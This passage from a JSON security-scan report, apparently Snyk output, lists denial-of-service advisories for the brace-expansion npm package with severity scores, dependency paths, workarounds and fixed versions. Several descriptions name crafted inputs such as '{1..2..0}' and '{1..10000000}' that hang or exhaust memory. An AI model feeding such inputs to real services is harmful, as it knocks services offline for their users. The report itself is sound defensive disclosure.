5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in 